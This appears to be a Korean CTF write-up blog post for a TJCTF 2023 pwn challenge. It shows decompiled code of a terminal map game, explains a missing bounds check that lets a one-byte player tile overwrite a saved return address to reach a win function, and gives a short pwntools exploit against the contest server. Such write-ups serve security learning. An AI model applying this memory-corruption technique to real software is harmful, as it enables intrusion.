728x90
반응형
1. intro
2. code 및 분석
2.1. code
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // al
int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF
setup_terminal(argc, argv, envp);
setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
init_player(v5);
init_map(v6, v5);
print_map(v6);
signal(2, sigint_handler);
while ( v5[0] != 29 || v5[1] != 89 )
{
v3 = getchar();
move_player(v5, (unsigned int)v3, v6);
print_map(v6);
}
puts("You win!");
return 0;
}
move player
int __fastcall move_player(int *a1, char a2, __int64 a3)
{
__int64 v3; // rax
if ( a2 == 108 )
{
LODWORD(v3) = getchar();
player_tile = v3;
}
else
{
*(_BYTE *)(a3 + 90LL * *a1 + a1[1]) = 46;
switch ( a2 )
{
case 'w':
--*a1;
break;
case 's':
++*a1;
break;
case 'a':
--a1[1];
break;
case 'd':
++a1[1];
break;
}
v3 = a1[1];
*(_BYTE *)(90LL * *a1 + a3 + v3) = player_tile;
}
return v3;
}
2.2. 분석
개인적으로 가장 재미있는 문제였다.
main에서는 맵 출력과 함께, v5가 29, 89가 아닌 동안 값을 하나 받아들여 플레이어를 움직인다.
대략 형식은 아래와 같다.
Player position: 4 4
End tile position: 29 89
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X
print map은 말 그대로 map을 출력해주는 역할을 하고,
move_player에서 player가 움직이면 이를 계산하는 역할을 한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
move_player 함수에서 l을 입력하면 플레이어가 변신 (?)할 수 있다.
더불어 맵에 대한 경계 검사가 없어 지정된 공간을 넘어 이동할 수 있다.
3.2. 공격 준비
문제를 풀 당시 gdb로만 분석을 하고 있어서 제대로 확인하지 못하던 와중,
특정 키를 눌리면 플레이어가 변신 할 수 있다는 것과 경계 검사가 없다는 것을 확인했다.
더불어 경계를 넘어 이동하다보면 특정 위치에서 seg. fault가 발생하는 것을 보아
어딘가 주소가 변조된다는 점을 알아냈다.
즉, 메인에서 move player는 별도 함수로 실행되기에 이를 위해서는 스택에 main으로 돌아갈 주소를 저장할 것이고,
플레이어를 변신시켜 이 ret address로 이동한 다음 메인으로 돌아갈 때 다른 함수로 return 할 수 있다는 점을 확인했다.
다만, 1바이트만 변조할 수 있게 되기에 win 함수가 있을 것으로 판단했는데, 역시 있었다.
그러므로 플레이어를 win 함수 주소의 마지막 값으로 변신 -> move player ret의 위치로 이동하면 win 함수가 실행될 것이다.
4. exploit
from pwn import *
#p = process('./game')
p = remote('tjc.tf', 31119)
for i in range(3):
p.send(b'a')
sleep(0.1)
p.send(b'w')
sleep(0.1)
for i in range(25):
p.send(b'a')
sleep(0.1)
p.send(b'l\xe4\n')
p.send(b'w\n')
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TJCTF 2023 - pwn/shelly (0) | 2023.05.29 |
---|---|
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |
TAMUctf 2023 - Bank (0) | 2023.05.01 |
TAMUctf 2023 - Randomness (0) | 2023.05.01 |
TAMUctf 2023 - Pwnme (0) | 2023.05.01 |